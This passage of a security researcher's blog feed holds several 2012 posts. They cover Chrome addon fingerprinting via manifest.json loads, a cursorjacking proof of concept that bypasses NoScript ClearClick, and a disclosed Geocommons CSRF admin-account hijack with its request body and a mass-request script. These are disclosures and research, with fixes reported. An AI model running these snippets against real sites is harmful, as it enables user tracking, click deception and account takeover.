/><thr:total>6</thr:total><feedburner:origLink>http://blog.kotowicz.net/2012/02/chrome-addons-hacking-want-xss-on.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUMHR386fip7ImA9WhRaFU0.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-1576485408922480051</id><published>2012-02-17T19:13:00.001+01:00</published><updated>2012-02-17T19:30:36.116+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-02-17T19:30:36.116+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="html5" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="chrome" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="iframe" /><title>Intro to Chrome addons hacking: fingerprinting</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;b&gt;tldr;&lt;/b&gt;&amp;nbsp;&lt;i&gt;Webpages can sometimes interact with Chrome addons and that might be dangerous, more on that later. Meanwhile, a warmup - trick to detect addons you have installed.&lt;/i&gt;&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
While all of us are used to http / https&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/URI_scheme"&gt;URI Schemes&lt;/a&gt;, current web applications sometimes use other schemes including:&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;javascript:&lt;/span&gt; URIs &lt;a href="http://h.ackack.net/0day-xss-in-wordpress-core.html"&gt;bypassing XSS filters for years&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;data:&lt;/span&gt; URIs that is a common source of &lt;a href="http://palisade.plynt.com/issues/2010Oct/bypass-xss-filters/"&gt;new XSS vulnerabilities&lt;/a&gt;&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;view-source:&lt;/span&gt; that may be used for &lt;a href="http://blog.kotowicz.net/2011/07/cross-domain-content-extraction-with.html"&gt;UI-redressing attacks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;file:&lt;/span&gt; that reads your local files&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;











Tough questions&lt;/h2&gt;
&lt;div&gt;
Throughout the years, there have always been questions on how documents from these schemes are supposed to be isolated from each other (think of it like a 2nd order Same Origin Policy).&amp;nbsp;Typical questions include:&lt;/div&gt;
&lt;div&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;Can XMLHttpRequest from &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;http://&lt;/span&gt; document load a &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;file://&lt;/span&gt; URL? And the other way around?&lt;/li&gt;
&lt;li&gt;Can document from &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;https://&lt;/span&gt; load script from &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;http://&lt;/span&gt;? Should we display SSL warning then?&lt;/li&gt;
&lt;li&gt;Can &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;http://&lt;/span&gt; document have an &lt;a href="http://blog.kotowicz.net/2011/07/cross-domain-content-extraction-with.html"&gt;iframe with &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;view-source:&lt;/span&gt;&lt;/a&gt; src?&lt;/li&gt;
&lt;li&gt;Can &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;data:&lt;/span&gt; URI access the DOM of the calling &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;http://&lt;/span&gt; document?&lt;/li&gt;
&lt;li&gt;Can &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;file://&lt;/span&gt; URL access a &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;file://&lt;/span&gt; from upper directory (it's&amp;nbsp;&lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=428815"&gt;not so obvious&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;What about:blank?&lt;/li&gt;
&lt;li&gt;How to handle 30x redirections to each of those schemes?&lt;/li&gt;
&lt;li&gt;What about &lt;a href="http://blog.kotowicz.net/2011/10/stripping-referrer-for-fun-and-profit.html"&gt;passing Referer header across schemes&lt;/a&gt;?&lt;/li&gt;
&lt;li&gt;Can I &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;window.open()&lt;/span&gt; across schemes? Would &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;window.postMessage()&lt;/span&gt; work?&lt;/li&gt;
&lt;li&gt;and many, many &lt;a href="http://code.google.com/p/browsersec/wiki/Part2#Origin_inheritance_rules"&gt;more issues&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
In general, all this questions come down to:&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;How should we isolate the schemes from each other?&lt;/li&gt;
&lt;li&gt;What information is allowed to leak between scheme boundaries?&lt;/li&gt;
&lt;/ul&gt;
Every single decision that has been made by browser vendors (or standard bodies) in those cases has consequences to security. There are differences in implementation, some of them very subtle. &lt;b&gt;And there are subtle vulnerabilities&lt;/b&gt;. Let me present one example of such vulnerability.&lt;br /&gt;
&lt;h2&gt;









Meet chrome-extension://&lt;/h2&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
Google Chrome addons are packaged pieces of HTML(5) + Javascript applications. They may:&lt;/div&gt;
&lt;div&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;add buttons to the interface&lt;/li&gt;
&lt;li&gt;launch background tasks&lt;/li&gt;
&lt;li&gt;interact with pages you browse&lt;/li&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
All extension resources are loaded from dedicated &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;chrome-extension://&lt;/span&gt; URLs . Each extension has a global unique identifier. For example,&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;chrome-extension://oadboiipflhobonjjffjbfekfjcgkhco/help.html&lt;/span&gt; is URL representing &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;help.html&lt;/span&gt; page from &lt;a href="https://chrome.google.com/webstore/detail/oadboiipflhobonjjffjbfekfjcgkhco?hl=en"&gt;Google Chrome to Phone&lt;/a&gt;&amp;nbsp;(you can try it, if you have this extension enabled).&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Extension&amp;nbsp;&lt;a href="http://code.google.com/chrome/extensions/content_scripts.html#host-page-communication"&gt;interact with web pages that you visit&lt;/a&gt;&amp;nbsp;and have access to their DOM, but the Javascript execution context is separated (they cannot call each other Javascript code - and for a good reason).&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
However even in this separation model there is still place for page &amp;lt;-&amp;gt; addon cooperation. Malicious HTTP pages might interact with addons in various ways. One simple example is addon enumeration.&lt;br /&gt;
&lt;h2&gt;




Finding your addons one by one&lt;/h2&gt;
With a little Javascript code I can easily test if you're using a certain Chrome addon. Give me a &lt;a href="https://github.com/koto/blog-kotowicz-net-examples/blob/master/chrome-addons/addons.json"&gt;list of most popular extensions&lt;/a&gt;&amp;nbsp;and I'll test all of them in&amp;nbsp;milliseconds. Why would I want that as an attacker?&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;to &lt;a href="http://panopticlick.eff.org/"&gt;fingerprint your browser&lt;/a&gt; (ad networks love this)&lt;/li&gt;
&lt;li&gt;to start attack against a certain known vulnerable addon (wait for the next post for this ;) )&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
See demo of &lt;a href="http://koto.github.com/blog-kotowicz-net-examples/chrome-addons/enumerate.html"&gt;&lt;b&gt;Chrome addons fingerprinting&lt;/b&gt;&lt;/a&gt;. (src &lt;a href="https://github.com/koto/blog-kotowicz-net-examples/tree/master/chrome-addons"&gt;here&lt;/a&gt;)
&lt;br /&gt;
&lt;h2&gt;



How?&lt;/h2&gt;
The trick is dead simple:&lt;br /&gt;
&lt;pre class="javascript" name="code"&gt;var detect = function(base, if_installed, if_not_installed) {
    var s = document.createElement('script');
    s.onerror = if_not_installed;
    s.onload = if_installed;
    document.body.appendChild(s);
    s.src = base + '/manifest.json';
}
detect('chrome-extension://' + addon_id_youre_after, function() {alert('boom!');});
&lt;/pre&gt;
Every addon has a &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;manifest.json&lt;/span&gt; file. In &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;http[s]://&lt;/span&gt; page you can try to load a script cross-scheme from &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;chrome-extension://&lt;/span&gt; URL, in this case - the manifest file. You just need the addon unique id to put into URL. If the extension is installed, manifest will load and &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;onload&lt;/span&gt; event will fire. If not - &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;onerror&lt;/span&gt; event is there for you.&lt;br /&gt;&lt;b&gt;Update: &lt;/b&gt;TIL the technique was already&amp;nbsp;&lt;a href="http://skeletonscribe.blogspot.com/2011/07/sparse-bruteforce-addon-scanner.html"&gt;published&lt;/a&gt; by &lt;a href="https://twitter.com/#!/albinowax"&gt;@albinowax&lt;/a&gt;. Cool!&lt;br /&gt;
&lt;br /&gt;
This is just one simple example of punching the separation layer between addons and webpages. There are more coming. Stay tuned.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-1576485408922480051?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/Sn6P7BWgslQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/1576485408922480051/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=1576485408922480051" title="11 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/1576485408922480051?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/1576485408922480051?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/Sn6P7BWgslQ/intro-to-chrome-addons-hacking.html" title="Intro to Chrome addons hacking: fingerprinting" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><thr:total>11</thr:total><feedburner:origLink>http://blog.kotowicz.net/2012/02/intro-to-chrome-addons-hacking.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0MER3oycSp7ImA9WhRVGU8.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-3323416596558341883</id><published>2012-01-18T14:33:00.002+01:00</published><updated>2012-01-19T00:30:06.499+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-01-19T00:30:06.499+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="clickjacking" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>Cursorjacking again</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
About a year ago, &lt;a href="http://www.mniemietz.de/"&gt;Marcus Niemietz&lt;/a&gt; demonstrated UI redressing technique called &lt;a href="http://www.mniemietz.de/demo/cursorjacking/cursorjacking.html"&gt;cursorjacking&lt;/a&gt;. It deceived users by using a custom cursor image, where the pointer was displayed with an offset. So the displayed cursor was shifted to the right from the actual mouse position. With clever positioning of page elements attacker could direct user clicks to desired elements.&lt;br /&gt;
&lt;h2&gt;

Cursor fun&lt;/h2&gt;
Yesterday &lt;a href="http://heideri.ch/"&gt;Mario Heiderich&lt;/a&gt;&amp;nbsp;noticed that&amp;nbsp;&lt;/div&gt;
&lt;pre class="html" name="code"&gt;&amp;lt;body style="cursor:none"&amp;gt;
&lt;/pre&gt;
works across User-Agents, so one could easily totally hide the original mouse cursor. Combine that with &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;mousemove&lt;/span&gt; listener, mouse cursor image and a little distraction and we have another UI redressing vector. The idea is very simple:&lt;br /&gt;
&lt;pre class="html" name="code"&gt;&amp;lt;body style="cursor:none;height: 1000px;"&amp;gt;
&amp;lt;img style="position: absolute;z-index:1000;" id=cursor src="cursor.png" /&amp;gt;
&amp;lt;button id=fake style="font-size: 150%;position:absolute;top:100px;left:630px;"&amp;gt;click me click me&amp;lt;/button&amp;gt;
&amp;lt;div style="position:absolute;top:100px;left:30px;"&amp;gt;
&amp;lt;a href="#" onclick="alert(/you clicked-me-instead/)"&amp;gt;i'm not important&amp;lt;/a&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
  var  oNode = document.getElementById('cursor');

  var onmove = function (e) {  
    var nMoveX =  e.clientX, nMoveY =  e.clientY; 
    oNode.style.left = (nMoveX + 600)+"px";  
    oNode.style.top = nMoveY + "px";  
  }; 
  document.body.addEventListener('mousemove', onmove, true);
&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/pre&gt;
&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-aZtMFqlSfqE/TxbFdJhaH_I/AAAAAAAAE6E/J2Q849B6E1g/s1600/cursorjacking.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="75" src="http://4.bp.blogspot.com/-aZtMFqlSfqE/TxbFdJhaH_I/AAAAAAAAE6E/J2Q849B6E1g/s400/cursorjacking.jpg" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;The one on the left is real, right is fake. The idea is to distract you from noticing the left one.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;

Demo&lt;/h2&gt;
It's just a sketch (e.g.&amp;nbsp;in real life one would have to handle skipping mouse cursor when it's over a frame), but it works nonetheless.&amp;nbsp;Try this&amp;nbsp;&lt;a href="http://koto.github.com/blog-kotowicz-net-examples/cursorjacking/"&gt;good cursorjacking example&lt;/a&gt;&amp;nbsp;;)&amp;nbsp;&amp;nbsp;Here's&amp;nbsp;&lt;a href="https://github.com/koto/blog-kotowicz-net-examples/blob/master/cursorjacking/index.html"&gt;sources&lt;/a&gt;&amp;nbsp;for anyone interested.&lt;br /&gt;
&lt;h2&gt;

Bonus&lt;/h2&gt;
&lt;a href="http://noscript.net/faq#qa7_4"&gt;NoScript ClearClick&lt;/a&gt;&amp;nbsp;(a clickjacking protection) works, because it detects clicks on areas that are hidden from the user (e.g. with &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;opacity:0&lt;/span&gt;). With cursorjacking the protection won't get triggered as attacker is not hiding the original element to click on (Twitter button in the PoC). The only deception is distraction. So, currently, this technique is a &lt;b&gt;NoScript ClearClick protection bypass&lt;/b&gt;. &lt;br /&gt;&lt;b&gt;Update&lt;/b&gt;: Fixed in &lt;a href="http://noscript.net/getit"&gt;NoScript 2.2.8 RC1&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-3323416596558341883?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/QbEkIEFr9ko" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/3323416596558341883/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=3323416596558341883" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/3323416596558341883?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/3323416596558341883?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/QbEkIEFr9ko/cursorjacking-again.html" title="Cursorjacking again" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-aZtMFqlSfqE/TxbFdJhaH_I/AAAAAAAAE6E/J2Q849B6E1g/s72-c/cursorjacking.jpg" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://blog.kotowicz.net/2012/01/cursorjacking-again.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CE8GQnY-fCp7ImA9WhRXEU4.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-7102346351661025842</id><published>2011-12-17T15:40:00.001+01:00</published><updated>2011-12-17T15:40:23.854+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-17T15:40:23.854+01:00</app:edited><title>Beatthis! oracle crypto xmas challenge</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
It's this time of the year, and I'm sitting here and launching&amp;nbsp;&lt;a href="http://kotowicz.net/beatthis2/"&gt;Beathis oracle! crypto xmas challenge&lt;/a&gt;&amp;nbsp;for you guys. Enjoy! It's a bit different than the &lt;a href="http://blog.kotowicz.net/2011/03/simple-cryptoanalysis-challenge.html"&gt;last&lt;/a&gt;&amp;nbsp;but I like it more. There's only one level, but it should be challenging.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-7102346351661025842?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/Mp9RMVSerwQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/7102346351661025842/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=7102346351661025842" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/7102346351661025842?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/7102346351661025842?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/Mp9RMVSerwQ/beatthis-oracle-crypto-xmas-challenge.html" title="Beatthis! oracle crypto xmas challenge" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.kotowicz.net/2011/12/beatthis-oracle-crypto-xmas-challenge.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUcARnkyfSp7ImA9WhRSGUo.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-4839107423860513648</id><published>2011-11-22T15:31:00.000+01:00</published><updated>2011-11-22T15:44:07.795+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-22T15:44:07.795+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="csrf" /><category scheme="http://www.blogger.com/atom/ns#" term="html5" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>Geocommons.com admin account hijack</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
Potato chips, post-it notes, LSD and Viagra - all these things were discovered by accident. As it seems, sometimes great discoveries come by a surprise. I've had my moment of surprise lately.&amp;nbsp;It all started during my research on sites using Cross Origin Resource Sharing. You know me, I just have to check the real-world HTML5 implementations. So there I am, checking sites implementing CORS headers. &lt;a href="http://geocommons.com/"&gt;Geocommons.com&lt;/a&gt; is one of them - and this is the story of &lt;b&gt;how geocommons got really common&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
GeoCommons is the public community of GeoIQ users who are building an open repository of data and maps for the world. The GeoIQ platform includes a large number of features that empower you to easily access, visualize and analyze your data.
&lt;br /&gt;
&lt;br /&gt;
There was a &lt;b&gt;critical vulnerability&lt;/b&gt; in geocommons.com website allowing&lt;b&gt; any user&lt;/b&gt; to change e-mail address of administrative user and &lt;strong&gt;hijack the admin account&lt;/strong&gt;. According to vendor, vulnerability is now fixed.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;h2&gt;








The simple vuln&lt;/h2&gt;
Every user of geocommons.com is allowed to manage his/hers account credentials. Among other features, he's allowed to change the e-mail address. These functions are
accessible by sending POST requests to &lt;code&gt;http://geocommons.com/users/[user-id]&lt;/code&gt; URL.
Sample POST content changing e-mail address of an account looks like this:
&lt;br /&gt;
&lt;pre name="code"&gt;_method=put&amp;amp;user%5Bemail%5D=email@example.com&amp;amp;commit=Save&amp;amp;user%5Bterms_of_use%5D=1&lt;/pre&gt;
I quickly confirmed that the form is vulnerable to CSRF.&amp;nbsp;&lt;a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)"&gt;CSRF&lt;/a&gt;&amp;nbsp;allows for form submission on behalf of any user logged in to geocommons.com. &lt;b&gt;Knowing user ID&lt;/b&gt; (it needs to be in URL) attacker can convince user to visit a page sending POST request changing user's e-mail address.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Close, but no cigar.&lt;/b&gt; Sure, attacker can send thousands of requests and one of them would finally succeed (once he reaches the correct user id).&lt;br /&gt;
&lt;h2&gt;








Moment of surprise&lt;/h2&gt;
&lt;div&gt;
Just to check, I started doing some PoC. I created a user (his ID was 35 thousands something), and made him visit the CSRF page:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;pre class="javascript" name="code"&gt; for (var i = 0; i &amp;lt; 50000; i++) {
        post = {
            '_method':'put',
            'user[email]': 'securityvictim+exploit' + i + '@gmail.com',
            'commit' : 'Save',
            'user[terms_of_use]':'1',
        };
        
        $.ajax({
            url: 'http://geocommons.com/users/' + i,
            data: post,
            type: 'POST',
            complete: function() {console.log(user)}
        });
&lt;/pre&gt;
&lt;br /&gt;
The code tried to replace user email with my &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;securityvictim@gmail.com&lt;/span&gt; email (with &lt;a href="http://www.toolnext.com/2008/04/gmail-how-to-use-plus-sign-for.html"&gt;+tag&lt;/a&gt;).&amp;nbsp;Well, it was slow as hell. So I stopped. Just to check if anything succeeded, I browsed the geocommons.com site and searched for users with that email.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-njObfDtg938/TozTzsz5wWI/AAAAAAAAE3I/zSiVncE3Dmo/s1600/geocommons03.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="235" src="http://4.bp.blogspot.com/-njObfDtg938/TozTzsz5wWI/AAAAAAAAE3I/zSiVncE3Dmo/s320/geocommons03.jpg" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;WTF????&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
I replaced &lt;b&gt;admin &lt;/b&gt;account e-mail!&lt;br /&gt;
&lt;br /&gt;
As it turned out, there is also a &lt;strong&gt;critical&lt;/strong&gt; vulnerability, allowing ANY user to change admin account e-mail address.
One only needs to submit the form to &lt;code&gt;http://geocommons.com/users/1&lt;/code&gt; (1 is user id of admin). Bitter CSRF just got a lot sweeter :)&lt;br /&gt;
&lt;br /&gt;
Combining these two vulnerabilities, it is possible for an attacker to submit a form changing admin e-mail, &lt;strong&gt;while leaving all the traces to victim&lt;/strong&gt; who was CSRFed. After changing the e-mail address to one under his control, attacker can simply use forget password feature of the site to get the new temporary password and effectively hijack the admin account of &lt;code&gt;geocommons.coms&lt;/code&gt;&lt;br /&gt;
&lt;h2&gt;










See for yourselves&lt;/h2&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-JF9q6xZLd9E/TozTx1RnIWI/AAAAAAAAE3A/IFhfbkkAtvU/s1600/geocommons01.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="82" src="http://2.bp.blogspot.com/-JF9q6xZLd9E/TozTx1RnIWI/AAAAAAAAE3A/IFhfbkkAtvU/s320/geocommons01.jpg" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Form submission&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-t9Mf4WkAtok/TozTytzJsKI/AAAAAAAAE3E/uuT7BVJllSo/s1600/geocommons02.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="234" src="http://1.bp.blogspot.com/-t9Mf4WkAtok/TozTytzJsKI/AAAAAAAAE3E/uuT7BVJllSo/s320/geocommons02.jpg" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;with new email&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-sVPOPMFZ8B0/TozT0hcaDEI/AAAAAAAAE3Q/HzSkb8qE3oU/s1600/geocommons05.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="78" src="http://1.bp.blogspot.com/-sVPOPMFZ8B0/TozT0hcaDEI/AAAAAAAAE3Q/HzSkb8qE3oU/s320/geocommons05.jpg" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;And a password reset&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-NMadAbQpz0M/TozT1KgnrZI/AAAAAAAAE3U/xwbwqYdzn-s/s1600/geocommons06.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="64" src="http://4.bp.blogspot.com/-NMadAbQpz0M/TozT1KgnrZI/AAAAAAAAE3U/xwbwqYdzn-s/s320/geocommons06.jpg" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;... sent conveniently to attacker's account&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;


